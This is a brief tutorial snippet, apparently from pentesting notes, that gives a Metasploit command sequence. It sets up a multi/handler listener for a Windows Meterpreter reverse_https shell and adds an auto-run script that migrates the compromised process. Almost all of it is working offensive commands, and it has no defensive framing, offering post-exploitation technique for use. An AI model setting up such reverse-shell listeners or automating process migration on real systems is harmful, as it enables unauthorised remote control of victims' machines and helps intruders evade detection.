Manual migration of process to another process might become hasslesome. After you get reverse shell you can automatically migrate the process using post exploitation script. We can do it as following.
msf> use exploit/multi/handler msf> set payload windows/meterpreter/reverse_https msf> set AutoRunScript post/windows/manage/migrate msf> set lhost <local IP> msf> set lport <local port> msf> exploit
By the bing by the boom your process will automigrate 😉